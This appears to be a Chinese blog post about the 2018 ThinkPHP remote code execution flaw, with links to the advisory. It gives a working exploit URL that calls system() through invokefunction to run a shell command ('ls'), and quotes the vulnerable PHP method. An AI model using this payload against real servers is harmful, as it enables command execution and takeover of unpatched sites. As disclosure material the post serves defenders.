周梦康 发表于 2018-12-11 77 次浏览 标签 : ThinkPHP

免费领取阿里云优惠券 我的直播 - 《PHP 进阶之路》

https://blog.thinkphp.cn/869075

用户反馈

http://www.thinkphp.cn/topic/60390.html

比如访问

http://localhost?s=\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

则会执行

public static function invokeFunction($function, $vars = [])
{
    $reflect = new \ReflectionFunction($function);
    $args    = self::bindParams($reflect, $vars);

    // 记录执行信息
    self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

    return $reflect->invokeArgs($args);
}

嗨,老铁,欢迎来到我的博客!

如果觉得我的内容还不错的话,可以关注下我在 segmentfault.com 上的直播。我主要从事 PHP 和 Java 方面的开发,《深入 PHP 内核》作者之一。

[视频直播] PHP 进阶之路 - 亿级 pv 网站架构的技术细节与套路 直播中我将毫无保留的分享我这六年的全部工作经验和踩坑的故事,以及会穿插着一些面试中的 考点难点加分点

评论列表